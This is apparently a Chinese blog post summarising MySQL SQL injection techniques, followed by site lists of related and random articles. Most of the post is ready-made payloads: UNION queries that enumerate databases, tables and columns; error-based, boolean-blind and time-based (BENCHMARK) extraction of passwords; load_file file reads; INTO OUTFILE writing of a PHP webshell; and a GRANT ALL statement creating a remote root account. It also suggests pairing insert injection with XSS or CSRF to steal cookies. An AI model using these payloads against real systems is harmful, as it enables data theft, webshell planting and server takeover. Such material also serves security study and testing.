SELECT first_name, last_name FROM users WHERE user_id = '$id'

1、id=1' or 1=1 --     这个可以查询所有的信息,其中“-- ”表示注释,它后面的内容将成为注释内容,注意:--后面要留有空格

注释符还有:# 和 /*

目录:

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql报错注入

0x03 mysql一般盲注

0x04 mysql时间盲注

0x05 mysql其他注入技巧

0x06 mysql数据库版本特性

正文:

0x00 mysql一般注入(select)

1.注释符

#
/*
--

2.过滤空格注入

使用/**/或()或+代替空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

3.多条数据显示

concat()
group_concat()
concat_ws()

4.相关函数

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注入语句

猜字段数

order by n/*

查看mysql基本信息

and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*

查询数据库

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

查询表名

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*

查询字段

and 1=2 union select 1,2,3,4,column_name,5,6,7 from
information_schema.columns where table_name=表名的十六进制编码 and
table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from
information_schema.columns where table_name=表名的十六进制编码 and
table_schema=数据库的16进制编码/*

查询数据

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

判断是否具有读写权限

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

6.mysql读取写入文件

必备条件:

读:file权限必备

写:1.绝对路径 2.union使用 3. 可以使用''

-------------------------读----------------------

mysql3.x读取方法

create table a(cmd text);

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;

select * from a;

mysql4.x读取方法

除上述方法还可以使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));

select * from a;

mysql5.x读取方法

上述两种都可以

读取文件技巧:

load_file(char(32,26,56,66))

load_file(0x633A5C626F6F742E696E69)

------------写--------------------------

into outfile写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

0x01 mysql一般注入(insert、update)

mysql一般请求mysql_query不支持多语句执行,mysqli可以。

insert注入多使用报错注入!

1.如果可以直接插入管理员可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');

2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

0x02 mysql报错注入

1. and(select 1 from(select count(*),concat((select (select (语句))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1
FROM (select count(*),concat(floor(rand(0)*2),(substring((Select
(语句)),1,62)))a from information_schema.tables group by a)b);

4.insert into web_ids(host) values((select (1) from mysql.user where
1=1 aNd (SELECT 1 FROM (select
count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from
information_schema.tables group by a)b)));

0x03 mysql一般盲注

使用ascii

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正则表达式

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

0x04 mysql时间盲注

1170 union select
if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5
seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'

0x05 mysql其他注入技巧

以后遇见了更新

0x06 mysql数据库版本特性

1. mysql5.0以后 information.schema库出现

2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

3.mysql5.x以后 system执行命令

MySQL注入总结的更多相关文章

  1. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  2. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  3. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  4. MySQL注入技巧性研究

    0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了 ...

  5. 【mysql注入】mysql注入点的技巧整合利用

    [mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...

  6. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

  7. MySQL注入与防御

    1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...

  8. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  9. MYSQL注入天书之开天辟地

    MYSQL注入天书 在线版本:xianzhi.aliyun.com 第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html第二篇地址:https:// ...

  10. MYSQL注入天书之基础知识

    第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表 ...

随机推荐

  1. Lost connection to MySQL server at ‘reading initial communication packet', system error: 0 mysql远程连接问题

    在用Navicat for MySQL远程连接mysql的时候,出现了 Lost connection to MySQL server at ‘reading initial communicatio ...

  2. 读取XML文件节点数据

    xml测试文件为 <?xml version="1.0" standalone="yes"?> <NewDataSet> <xs: ...

  3. WAMP(Windows+Apache+Mysql+PHP)环境搭建

    学习PHP已经有一段时间,一直没有写过关于开发环境搭建的笔记,现在补上吧,因为安装配置的步骤记得不是很清楚,借鉴了一些别人的经验,总结如下: 首先去官方网站下载各个软件,下载需要的版本: Apache ...

  4. bootstrap 下 标签页跳转总结

    最近遇到一个问题,是关于bootstrap中的标签页实现上的一些功能实现,现总结一下. 问题描述:点击其他标签页后,如何在点击搜索按钮后自动跳转到第一个标签页.如下图 通过对bootstrap框架里的 ...

  5. PYTHON开发--面向对象基础二

    一.成员修饰符 共有成员 私有成员, __字段名 - 无法直接访问,只能间接访问 1.     私有成员 1.1  普通方法种的私有成员 class Foo: def __init__(self, n ...

  6. python【第十五篇】JavaScript

    大纲 1 简介 2 存在形式 3 放置位置 4 变量 5 注释 6 数据类型 7 时间处理 8 语句和异常 9 函数及其作用域 1.JS简介 JavaScript是世界上最流行的脚本语言,因为你在电脑 ...

  7. ubuntu下openGL的配置方法

    This is a simple tutorial to show a new linux user (such as myself) how to setup freeglut and OpenGl ...

  8. 如何在eclips下将一段代码抽取为方法Extract Method

    最近读了读关于重构的文章,做了个小总结(在编程思想目录下<从文章"避免复制与粘贴"到文章"Extract Method"的反思 系列>). 然后因为 ...

  9. 【算法】改进的冒泡排序 O(n^2) 稳定的 C语言

    改进的冒泡排序 一.算法描述 基于原冒泡排序 每次选取第一个元素作为主元往后进行比较,若遇到比它小的则放到它左边(即进行交换),若遇到比它大的则选取大的作为主元进行后续比较,每趟选取了无序列中最大元素 ...

  10. Asp.net MVC中三大描述对象之ActionDescriptor 以及继承类ReflectedControllerDescriptor

    ActionDescriptor抽象类中几个基本的属性: ControllerName:被描述的Controller名称,去除后缀Controller的名称.例如:HomeController则为Ho ...